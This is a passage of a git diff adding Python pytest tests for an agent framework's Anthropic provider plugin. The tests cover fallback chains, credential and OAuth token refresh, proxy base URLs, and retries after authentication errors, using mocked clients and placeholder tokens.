"max_tokens": 4096} + agent._build_api_kwargs(api_messages) + + kwargs = mock_build.call_args.kwargs or dict(zip( + ["model", "messages", "tools", "max_tokens", "reasoning_config"], + mock_build.call_args.args, + )) + transformed = kwargs["messages"] + assert isinstance(transformed[0]["content"], str) + assert "A cat sitting on a chair." in transformed[0]["content"] + assert "Can you see this now?" in transformed[0]["content"] + assert "vision_analyze with image_url: https://example.com/cat.png" in transformed[0]["content"] + + def test_build_api_kwargs_reuses_cached_image_analysis_for_duplicate_images(self, agent): + agent.api_mode = "anthropic_messages" + agent.reasoning_config = None + data_url = "data:image/png;base64,QUFBQQ==" + + api_messages = [ + { + "role": "user", + "content": [ + {"type": "text", "text": "first"}, + {"type": "input_image", "image_url": data_url}, + ], + }, + { + "role": "user", + "content": [ + {"type": "text", "text": "second"}, + {"type": "input_image", "image_url": data_url}, + ], + }, + ] + + mock_vision = AsyncMock(return_value=json.dumps({"success": True, "analysis": "A small test image."})) + with ( + patch("tools.vision_tools.vision_analyze_tool", new=mock_vision), + patch("hermes_agent_anthropic.adapter.build_anthropic_kwargs") as mock_build, + ): + mock_build.return_value = {"model": "claude-sonnet-4-20250514", "messages": [], "max_tokens": 4096} + agent._build_api_kwargs(api_messages) + + assert mock_vision.await_count == 1 + + +class TestFallbackAnthropicProvider: + """Bug fix: _try_activate_fallback had no case for anthropic provider.""" + + def test_fallback_to_anthropic_sets_api_mode(self, agent): + agent._fallback_activated = False + agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-20250514"} + agent._fallback_chain = [agent._fallback_model] + agent._fallback_index = 0 + + mock_client = MagicMock() + mock_client.base_url = "https://api.anthropic.com/v1" + mock_client.api_key = "***" + + with ( + patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)), + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=None), + ): + mock_build.return_value = MagicMock() + result = agent._try_activate_fallback() + + assert result is True + assert agent.api_mode == "anthropic_messages" + assert agent._anthropic_client is not None + assert agent.client is None + + def test_fallback_to_anthropic_enables_prompt_caching(self, agent): + agent._fallback_activated = False + agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-20250514"} + agent._fallback_chain = [agent._fallback_model] + agent._fallback_index = 0 + + mock_client = MagicMock() + mock_client.base_url = "https://api.anthropic.com/v1" + mock_client.api_key = "***" + + with ( + patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=None), + ): + agent._try_activate_fallback() + + assert agent._use_prompt_caching is True + + def test_fallback_to_openrouter_uses_openai_client(self, agent): + agent._fallback_activated = False + agent._fallback_model = {"provider": "openrouter", "model": "anthropic/claude-sonnet-4"} + agent._fallback_chain = [agent._fallback_model] + agent._fallback_index = 0 + + mock_client = MagicMock() + mock_client.base_url = "https://openrouter.ai/api/v1" + mock_client.api_key = "sk-or-test" + + with patch("agent.auxiliary_client.resolve_provider_client", return_value=(mock_client, None)): + result = agent._try_activate_fallback() + + assert result is True + assert agent.api_mode == "chat_completions" + assert agent.client is mock_client + + +class TestAnthropicBaseUrlPassthrough: + """Bug fix: base_url was filtered with 'anthropic in base_url', blocking proxies.""" + + def test_custom_proxy_base_url_passed_through(self): + with ( + patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), + patch("run_agent.check_toolset_requirements", return_value={}), + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, + ): + mock_build.return_value = MagicMock() + a = AIAgent( + api_key="sk-ant...7890", + base_url="https://llm-proxy.company.com/v1", + api_mode="anthropic_messages", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + call_args = mock_build.call_args + # base_url should be passed through, not filtered out + assert call_args[0][1] == "https://llm-proxy.company.com/v1" + + def test_none_base_url_passed_as_none(self): + with ( + patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), + patch("run_agent.check_toolset_requirements", return_value={}), + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, + ): + mock_build.return_value = MagicMock() + a = AIAgent( + api_key="sk-ant...7890", + api_mode="anthropic_messages", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + call_args = mock_build.call_args + # No base_url provided, should be default empty string or None + passed_url = call_args[0][1] + assert not passed_url or passed_url is None + + +class TestAnthropicCredentialRefresh: + def test_try_refresh_anthropic_client_credentials_rebuilds_client(self): + with ( + patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), + patch("run_agent.check_toolset_requirements", return_value={}), + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, + ): + old_client = MagicMock() + new_client = MagicMock() + mock_build.side_effect = [old_client, new_client] + agent = AIAgent( + api_key="sk-ant...oken", + base_url="https://openrouter.ai/api/v1", + api_mode="anthropic_messages", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + + agent._anthropic_client = old_client + agent._anthropic_api_key = "sk-ant...old-token" # differs from what resolve returns + agent._anthropic_base_url = "https://api.anthropic.com" + agent.provider = "anthropic" + + with ( + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant...oken"), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=new_client) as rebuild, + ): + assert agent._try_refresh_anthropic_client_credentials() is True + + old_client.close.assert_called_once() + rebuild.assert_called_once_with( + "sk-ant...oken", "https://api.anthropic.com", timeout=None, + ) + assert agent._anthropic_client is new_client + assert agent._anthropic_api_key == "sk-ant...oken" + + def test_try_refresh_anthropic_client_credentials_returns_false_when_token_unchanged(self): + with ( + patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), + patch("run_agent.check_toolset_requirements", return_value={}), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), + ): + agent = AIAgent( + api_key="sk-ant...oken", + base_url="https://openrouter.ai/api/v1", + api_mode="anthropic_messages", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + + old_client = MagicMock() + agent._anthropic_client = old_client + agent._anthropic_api_key = "sk-ant...oken" + + with ( + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant...oken"), + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as rebuild, + ): + assert agent._try_refresh_anthropic_client_credentials() is False + + old_client.close.assert_not_called() + rebuild.assert_not_called() + + def test_anthropic_messages_create_preflights_refresh(self): + with ( + patch("run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")), + patch("run_agent.check_toolset_requirements", return_value={}), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), + ): + agent = AIAgent( + api_key="sk-ant...oken", + base_url="https://openrouter.ai/api/v1", + api_mode="anthropic_messages", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + + response = SimpleNamespace(content=[]) + agent._anthropic_client = MagicMock() + agent._anthropic_client.messages.create.return_value = response + + with patch.object(agent, "_try_refresh_anthropic_client_credentials", return_value=True) as refresh: + result = agent._anthropic_messages_create({"model": "claude-sonnet-4-20250514"}) + + refresh.assert_called_once_with() + agent._anthropic_client.messages.create.assert_called_once_with(model="claude-sonnet-4-20250514") + assert result is response + + +class TestFallbackSetsOAuthFlag: + """_try_activate_fallback must set _is_anthropic_oauth for Anthropic fallbacks.""" + + def test_fallback_to_anthropic_oauth_sets_flag(self, agent): + agent._fallback_activated = False + agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-6"} + agent._fallback_chain = [agent._fallback_model] + agent._fallback_index = 0 + + mock_client = MagicMock() + mock_client.base_url = "https://api.anthropic.com/v1" + mock_client.api_key = "sk-ant-setup-oauth-token" + + with ( + patch("agent.auxiliary_client.resolve_provider_client", + return_value=(mock_client, None)), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", + return_value=MagicMock()), + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", + return_value=None), + ): + result = agent._try_activate_fallback() + + assert result is True + assert agent._is_anthropic_oauth is True + + def test_fallback_to_anthropic_api_key_clears_flag(self, agent): + agent._fallback_activated = False + agent._fallback_model = {"provider": "anthropic", "model": "claude-sonnet-4-6"} + agent._fallback_chain = [agent._fallback_model] + agent._fallback_index = 0 + + mock_client = MagicMock() + mock_client.base_url = "https://api.anthropic.com/v1" + mock_client.api_key = "sk-ant-api03-regular-key" + + with ( + patch("agent.auxiliary_client.resolve_provider_client", + return_value=(mock_client, None)), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", + return_value=MagicMock()), + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", + return_value=None), + ): + result = agent._try_activate_fallback() + + assert result is True + assert agent._is_anthropic_oauth is False + + +class TestOAuthFlagAfterCredentialRefresh: + """_is_anthropic_oauth must update when token type changes during refresh.""" + + def test_oauth_flag_updates_api_key_to_oauth(self, agent): + """Refreshing from API key to OAuth token must set flag to True.""" + from agent.plugin_registries import registries + agent.api_mode = "anthropic_messages" + agent.provider = "anthropic" + agent._anthropic_api_key = "***" + agent._anthropic_client = MagicMock() + agent._is_anthropic_oauth = False + + with patch.dict(registries._provider_services, {"anthropic": { + "resolve_anthropic_token": MagicMock(return_value="sk-ant...oken"), + "build_anthropic_client": MagicMock(return_value=MagicMock()), + "_is_oauth_token": MagicMock(return_value=True), + }}): + result = agent._try_refresh_anthropic_client_credentials() + + assert result is True + assert agent._is_anthropic_oauth is True + + def test_oauth_flag_updates_oauth_to_api_key(self, agent): + """Refreshing from OAuth to API key must set flag to False.""" + from agent.plugin_registries import registries + agent.api_mode = "anthropic_messages" + agent.provider = "anthropic" + agent._anthropic_api_key = "***" + agent._anthropic_client = MagicMock() + agent._is_anthropic_oauth = True + + with patch.dict(registries._provider_services, {"anthropic": { + "resolve_anthropic_token": MagicMock(return_value="sk-ant...-key"), + "build_anthropic_client": MagicMock(return_value=MagicMock()), + "_is_oauth_token": MagicMock(return_value=False), + }}): + result = agent._try_refresh_anthropic_client_credentials() + + assert result is True + assert agent._is_anthropic_oauth is False diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_auth_commands.py b/plugins/model-providers/anthropic/tests/test_anthropic_auth_commands.py new file mode 100644 index 00000000000..5b8acd46518 --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_auth_commands.py @@ -0,0 +1,98 @@ +"""Anthropic-specific auth command tests moved from tests/hermes_cli/test_auth_commands.py.""" + +from __future__ import annotations + +import base64 +import json + +import pytest + + +def _write_auth_store(tmp_path, payload: dict) -> None: + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + (hermes_home / "auth.json").write_text(json.dumps(payload, indent=2)) + + +def _jwt_with_email(email: str) -> str: + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + payload = base64.urlsafe_b64encode( + json.dumps({"email": email}).encode() + ).rstrip(b"=").decode() + return f"{header}.{payload}.signature" + + +@pytest.fixture(autouse=True) +def _clear_provider_env(monkeypatch): + for key in ( + "OPENROUTER_API_KEY", + "OPENAI_API_KEY", + "ANTHROPIC_API_KEY", + "ANTHROPIC_TOKEN", + "CLAUDE_CODE_OAUTH_TOKEN", + ): + monkeypatch.delenv(key, raising=False) + + +def test_auth_add_anthropic_oauth_persists_pool_entry(tmp_path, monkeypatch): + monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes")) + monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) + monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) + monkeypatch.delenv("CLAUDE_CODE_OAUTH_TOKEN", raising=False) + _write_auth_store(tmp_path, {"version": 1, "providers": {}}) + token = _jwt_with_email("claude@example.com") + monkeypatch.setattr( + "hermes_agent_anthropic.adapter.run_hermes_oauth_login_pure", + lambda: { + "access_token": token, + "refresh_token": "refresh-token", + "expires_at_ms": 1711234567000, + }, + ) + + from hermes_cli.auth_commands import auth_add_command + + class _Args: + provider = "anthropic" + auth_type = "oauth" + api_key = None + label = None + + auth_add_command(_Args()) + + payload = json.loads((tmp_path / "hermes" / "auth.json").read_text()) + entries = payload["credential_pool"]["anthropic"] + entry = next(item for item in entries if item["source"] == "manual:hermes_pkce") + assert entry["label"] == "claude@example.com" + assert entry["source"] == "manual:hermes_pkce" + assert entry["refresh_token"] == "refresh-token" + assert entry["expires_at_ms"] == 1711234567000 + + +def test_seed_from_singletons_respects_hermes_pkce_suppression(tmp_path, monkeypatch): + """anthropic hermes_pkce must not re-seed from ~/.hermes/.anthropic_oauth.json when suppressed.""" + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + monkeypatch.setenv("HERMES_HOME", str(hermes_home)) + + import yaml + (hermes_home / "config.yaml").write_text(yaml.dump({"model": {"provider": "anthropic", "model": "claude"}})) + (hermes_home / "auth.json").write_text(json.dumps({ + "version": 1, + "providers": {}, + "suppressed_sources": {"anthropic": ["hermes_pkce"]}, + })) + + # Stub the readers so only hermes_pkce is "available"; claude_code returns None + import hermes_agent_anthropic as aa + monkeypatch.setattr(aa, "read_hermes_oauth_credentials", lambda: { + "accessToken": "tok", "refreshToken": "r", "expiresAt": 9999999999000, + }) + monkeypatch.setattr(aa, "read_claude_code_credentials", lambda: None) + + from agent.credential_pool import _seed_from_singletons + entries = [] + changed, active = _seed_from_singletons("anthropic", entries) + # hermes_pkce suppressed, claude_code returns None → nothing should be seeded + assert entries == [] + assert "hermes_pkce" not in active diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_auxiliary.py b/plugins/model-providers/anthropic/tests/test_anthropic_auxiliary.py new file mode 100644 index 00000000000..a8e65d254d4 --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_auxiliary.py @@ -0,0 +1,533 @@ +"""Tests for Anthropic-specific auxiliary client behaviour. + +Covers: +- OAuth vs API-key flag propagation (_try_anthropic → AnthropicAuxiliaryClient) +- explicit_api_key propagation through resolve_provider_client → _try_anthropic +- Expired Codex token fallback to Anthropic +- Vision client fallback with Anthropic +- Auth refresh retry for Anthropic clients +""" + +import json +from unittest.mock import MagicMock, AsyncMock, patch + +import pytest + +from agent.auxiliary_client import ( + _try_anthropic, + AnthropicAuxiliaryClient, + resolve_provider_client, + _read_codex_access_token, + _resolve_auto, + get_available_vision_backends, + call_llm, + async_call_llm, +) + + +class TestAnthropicOAuthFlag: + """Test that OAuth tokens get is_oauth=True in auxiliary Anthropic client.""" + + def test_oauth_token_sets_flag(self, monkeypatch): + """OAuth tokens (sk-ant-oat01-*) should create client with is_oauth=True.""" + monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant-oat01-test-token") + with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build: + mock_build.return_value = MagicMock() + from agent.auxiliary_client import _try_anthropic, AnthropicAuxiliaryClient + client, model = _try_anthropic() + assert client is not None + assert isinstance(client, AnthropicAuxiliaryClient) + # The adapter inside should have is_oauth=True + adapter = client.chat.completions + assert adapter._is_oauth is True + + def test_api_key_no_oauth_flag(self, monkeypatch): + """Regular API keys (sk-ant-api-*) should create client with is_oauth=False.""" + with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant-api03-testkey1234"), \ + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \ + patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): + mock_build.return_value = MagicMock() + from agent.auxiliary_client import _try_anthropic, AnthropicAuxiliaryClient + client, model = _try_anthropic() + assert client is not None + assert isinstance(client, AnthropicAuxiliaryClient) + adapter = client.chat.completions + assert adapter._is_oauth is False + + def test_pool_entry_takes_priority_over_legacy_resolution(self): + class _Entry: + access_token = "sk-ant-oat01-pooled" + base_url = "https://api.anthropic.com" + + class _Pool: + def has_credentials(self): + return True + + def select(self): + return _Entry() + + with ( + patch("agent.auxiliary_client.load_pool", return_value=_Pool()), + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", side_effect=AssertionError("legacy path should not run")), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()) as mock_build, + ): + from agent.auxiliary_client import _try_anthropic + + client, model = _try_anthropic() + + assert client is not None + assert model == "claude-haiku-4-5-20251001" + assert mock_build.call_args.args[0] == "sk-ant-oat01-pooled" + + +class TestAnthropicExplicitApiKey: + """Test that explicit_api_key is correctly propagated to _try_anthropic(). + + Parity with the OpenRouter fix in #18768: resolve_provider_client() passes + explicit_api_key to _try_openrouter(), but the anthropic branch was not + updated — _try_anthropic() always fell back to resolve_anthropic_token() + even when an explicit key was supplied (e.g. from a fallback_model entry). + """ + + def test_try_anthropic_uses_explicit_api_key_over_env(self): + """_try_anthropic(explicit_api_key) must use the supplied key, not the env fallback.""" + with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="env-fallback-key"), \ + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \ + patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): + mock_build.return_value = MagicMock() + from agent.auxiliary_client import _try_anthropic + client, model = _try_anthropic("explicit-pool-key") + assert client is not None + assert mock_build.call_args.args[0] == "explicit-pool-key", ( + f"Expected explicit_api_key to be passed, got: {mock_build.call_args.args[0]}" + ) + assert mock_build.call_args.args[0] != "env-fallback-key" + + def test_try_anthropic_without_explicit_key_falls_back_to_resolve(self): + """Without explicit_api_key, _try_anthropic falls back to resolve_anthropic_token.""" + with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="env-fallback-key"), \ + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \ + patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): + mock_build.return_value = MagicMock() + from agent.auxiliary_client import _try_anthropic + client, model = _try_anthropic() + assert client is not None + assert mock_build.call_args.args[0] == "env-fallback-key" + + def test_resolve_provider_client_passes_explicit_api_key_to_anthropic(self): + """resolve_provider_client(provider='anthropic', explicit_api_key=...) must propagate the key.""" + with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="env-key"), \ + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \ + patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): + mock_build.return_value = MagicMock() + client, model = resolve_provider_client( + provider="anthropic", + explicit_api_key="explicit-fallback-key", + ) + assert client is not None + assert mock_build.call_args.args[0] == "explicit-fallback-key", ( + "resolve_provider_client must forward explicit_api_key to _try_anthropic()" + ) + + +class TestExpiredCodexFallback: + """Test that expired Codex tokens don't block the auto chain.""" + + def test_expired_codex_falls_through_to_next(self, tmp_path, monkeypatch): + """When Codex token is expired, auto chain should skip it and try next provider.""" + import base64 + import time as _time + + # Expired Codex JWT + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode() + payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() + expired_jwt = f"{header}.{payload}.fakesig" + + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + (hermes_home / "auth.json").write_text(json.dumps({ + "version": 1, + "providers": { + "openai-codex": { + "tokens": {"access_token": expired_jwt, "refresh_token": "***"}, + }, + }, + })) + monkeypatch.setenv("HERMES_HOME", str(hermes_home)) + + # Set up Anthropic as fallback + monkeypatch.setenv("ANTHROPIC_TOKEN", "sk-ant...back") + with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build: + mock_build.return_value = MagicMock() + client, model = _resolve_auto() + # Should NOT be Codex, should be Anthropic (or another available provider) + assert not isinstance(client, type(None)), "Should find a provider after expired Codex" + + + def test_expired_codex_openrouter_wins(self, tmp_path, monkeypatch): + """With expired Codex + OpenRouter key, OpenRouter should win (1st in chain).""" + import base64 + import time as _time + + # Belt-and-suspenders: _try_openrouter marks openrouter unhealthy + # when OPENROUTER_API_KEY is absent (which the preceding test in + # this class exercises). The file-level _clean_env autouse fixture + # clears the cache, but fixture ordering with the conftest + # _hermetic_environment autouse can leave a narrow window where + # the mark reappears. Explicitly clear here so this test is + # independent of run order. + import agent.auxiliary_client as _aux_mod + _aux_mod._aux_unhealthy_until.clear() + _aux_mod._aux_unhealthy_logged_at.clear() + + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode() + payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() + expired_jwt = f"{header}.{payload}.fakesig" + + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + (hermes_home / "auth.json").write_text(json.dumps({ + "version": 1, + "providers": { + "openai-codex": { + "tokens": {"access_token": expired_jwt, "refresh_token": "***"}, + }, + }, + })) + monkeypatch.setenv("HERMES_HOME", str(hermes_home)) + monkeypatch.setenv("OPENROUTER_API_KEY", "or-test-key") + + with patch("agent.auxiliary_client.OpenAI") as mock_openai: + mock_openai.return_value = MagicMock() + client, model = _resolve_auto() + assert client is not None + # OpenRouter is 1st in chain, should win + mock_openai.assert_called() + + def test_expired_codex_custom_endpoint_wins(self, tmp_path, monkeypatch): + """With expired Codex + custom endpoint (Ollama), custom should win (3rd in chain).""" + import base64 + import time as _time + + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + payload_data = json.dumps({"exp": int(_time.time()) - 3600}).encode() + payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() + expired_jwt = f"{header}.{payload}.fakesig" + + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + (hermes_home / "auth.json").write_text(json.dumps({ + "version": 1, + "providers": { + "openai-codex": { + "tokens": {"access_token": expired_jwt, "refresh_token": "***"}, + }, + }, + })) + monkeypatch.setenv("HERMES_HOME", str(hermes_home)) + + # Simulate Ollama or custom endpoint + with patch("agent.auxiliary_client._resolve_custom_runtime", + return_value=("http://localhost:11434/v1", "sk-dummy")): + with patch("agent.auxiliary_client.OpenAI") as mock_openai: + mock_openai.return_value = MagicMock() + client, model = _resolve_auto() + assert client is not None + + + def test_hermes_oauth_file_sets_oauth_flag(self, monkeypatch): + """OAuth-style tokens should get is_oauth=*** (token is not sk-ant-api-*).""" + # Mock resolve_anthropic_token to return an OAuth-style token + with patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant...oken"), \ + patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \ + patch("agent.auxiliary_client._select_pool_entry", return_value=(False, None)): + mock_build.return_value = MagicMock() + client, model = _try_anthropic() + assert client is not None, "Should resolve token" + adapter = client.chat.completions + assert adapter._is_oauth is True, "Non-sk-ant-api token should set is_oauth=True" + + def test_jwt_missing_exp_passes_through(self, tmp_path, monkeypatch): + """JWT with valid JSON but no exp claim should pass through.""" + import base64 + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + payload_data = json.dumps({"sub": "user123"}).encode() # no exp + payload = base64.urlsafe_b64encode(payload_data).rstrip(b"=").decode() + no_exp_jwt = f"{header}.{payload}.fakesig" + + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + (hermes_home / "auth.json").write_text(json.dumps({ + "version": 1, + "providers": { + "openai-codex": { + "tokens": {"access_token": no_exp_jwt, "refresh_token": "***"}, + }, + }, + })) + monkeypatch.setenv("HERMES_HOME", str(hermes_home)) + result = _read_codex_access_token() + assert result == no_exp_jwt, "JWT without exp should pass through" + + def test_jwt_invalid_json_payload_passes_through(self, tmp_path, monkeypatch): + """JWT with valid base64 but invalid JSON payload should pass through.""" + import base64 + header = base64.urlsafe_b64encode(b'{"alg":"RS256"}').rstrip(b"=").decode() + payload = base64.urlsafe_b64encode(b"not-json-content").rstrip(b"=").decode() + bad_jwt = f"{header}.{payload}.fakesig" + + hermes_home = tmp_path / "hermes" + hermes_home.mkdir(parents=True, exist_ok=True) + (hermes_home / "auth.json").write_text(json.dumps({ + "version": 1, + "providers": { + "openai-codex": { + "tokens": {"access_token": bad_jwt, "refresh_token": "***"}, + }, + }, + })) + monkeypatch.setenv("HERMES_HOME", str(hermes_home)) + result = _read_codex_access_token() + assert result == bad_jwt, "JWT with invalid JSON payload should pass through" + + def test_claude_code_oauth_env_sets_flag(self, monkeypatch): + """CLAUDE_CODE_OAUTH_TOKEN env var should get is_oauth=True.""" + monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "sk-ant...oken") + monkeypatch.delenv("ANTHROPIC_TOKEN", raising=False) + with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build: + mock_build.return_value = MagicMock() + client, model = _try_anthropic() + assert client is not None + adapter = client.chat.completions + assert adapter._is_oauth is True + + +class TestVisionClientFallback: + """Vision client auto mode resolves known-good multimodal backends.""" + + def test_vision_auto_includes_active_provider_when_configured(self, monkeypatch): + """Active provider appears in available backends when credentials exist.""" + monkeypatch.setenv("ANTHROPIC_API_KEY", "***") + with ( + patch("agent.auxiliary_client._read_nous_auth", return_value=None), + patch("agent.auxiliary_client._read_main_provider", return_value="anthropic"), + patch("agent.auxiliary_client._read_main_model", return_value="claude-sonnet-4"), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="***"), + ): + backends = get_available_vision_backends() + + assert "anthropic" in backends + + def test_resolve_provider_client_returns_native_anthropic_wrapper(self, monkeypatch): + monkeypatch.setenv("ANTHROPIC_API_KEY", "***") + with ( + patch("agent.auxiliary_client._read_nous_auth", return_value=None), + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="***"), + ): + client, model = resolve_provider_client("anthropic") + + assert client is not None + assert client.__class__.__name__ == "AnthropicAuxiliaryClient" + assert model == "claude-haiku-4-5-20251001" + + +class _AuxAuth401(Exception): + status_code = 401 + + def __init__(self, message="Provided authentication token is expired"): + super().__init__(message) + + +class _DummyResponse: + def __init__(self, text="ok"): + self.choices = [MagicMock(message=MagicMock(content=text))] + + +class _FailingThenSuccessCompletions: + def __init__(self): + self.calls = 0 + + def create(self, **kwargs): + self.calls += 1 + if self.calls == 1: + raise _AuxAuth401() + return _DummyResponse("sync-ok") + + +class _AsyncFailingThenSuccessCompletions: + def __init__(self): + self.calls = 0 + + async def create(self, **kwargs): + self.calls += 1 + if self.calls == 1: + raise _AuxAuth401() + return _DummyResponse("async-ok") + + +class TestAuxiliaryAuthRefreshRetry: + def test_call_llm_refreshes_codex_on_401_for_vision(self): + failing_client = MagicMock() + failing_client.base_url = "https://chatgpt.com/backend-api/codex" + failing_client.chat.completions = _FailingThenSuccessCompletions() + + fresh_client = MagicMock() + fresh_client.base_url = "https://chatgpt.com/backend-api/codex" + fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-sync") + + with ( + patch( + "agent.auxiliary_client.resolve_vision_provider_client", + side_effect=[("openai-codex", failing_client, "gpt-5.4"), ("openai-codex", fresh_client, "gpt-5.4")], + ), + patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, + ): + resp = call_llm( + task="vision", + provider="openai-codex", + model="gpt-5.4", + messages=[{"role": "user", "content": "hi"}], + ) + + assert resp.choices[0].message.content == "fresh-sync" + mock_refresh.assert_called_once_with("openai-codex") + + def test_call_llm_refreshes_codex_on_401_for_non_vision(self): + stale_client = MagicMock() + stale_client.base_url = "https://chatgpt.com/backend-api/codex" + stale_client.chat.completions.create.side_effect = _AuxAuth401("stale codex token") + + fresh_client = MagicMock() + fresh_client.base_url = "https://chatgpt.com/backend-api/codex" + fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-non-vision") + + with ( + patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("openai-codex", "gpt-5.4", None, None, None)), + patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "gpt-5.4"), (fresh_client, "gpt-5.4")]), + patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, + ): + resp = call_llm( + task="compression", + provider="openai-codex", + model="gpt-5.4", + messages=[{"role": "user", "content": "hi"}], + ) + + assert resp.choices[0].message.content == "fresh-non-vision" + mock_refresh.assert_called_once_with("openai-codex") + assert stale_client.chat.completions.create.call_count == 1 + assert fresh_client.chat.completions.create.call_count == 1 + + def test_call_llm_refreshes_anthropic_on_401_for_non_vision(self): + stale_client = MagicMock() + stale_client.base_url = "https://api.anthropic.com" + stale_client.chat.completions.create.side_effect = _AuxAuth401("anthropic token expired") + + fresh_client = MagicMock() + fresh_client.base_url = "https://api.anthropic.com" + fresh_client.chat.completions.create.return_value = _DummyResponse("fresh-anthropic") + + with ( + patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("anthropic", "claude-haiku-4-5-20251001", None, None, None)), + patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "claude-haiku-4-5-20251001"), (fresh_client, "claude-haiku-4-5-20251001")]), + patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, + ): + resp = call_llm( + task="compression", + provider="anthropic", + model="claude-haiku-4-5-20251001", + messages=[{"role": "user", "content": "hi"}], + ) + + assert resp.choices[0].message.content == "fresh-anthropic" + mock_refresh.assert_called_once_with("anthropic") + assert stale_client.chat.completions.create.call_count == 1 + assert fresh_client.chat.completions.create.call_count == 1 + + @pytest.mark.asyncio + async def test_async_call_llm_refreshes_codex_on_401_for_vision(self): + failing_client = MagicMock() + failing_client.base_url = "https://chatgpt.com/backend-api/codex" 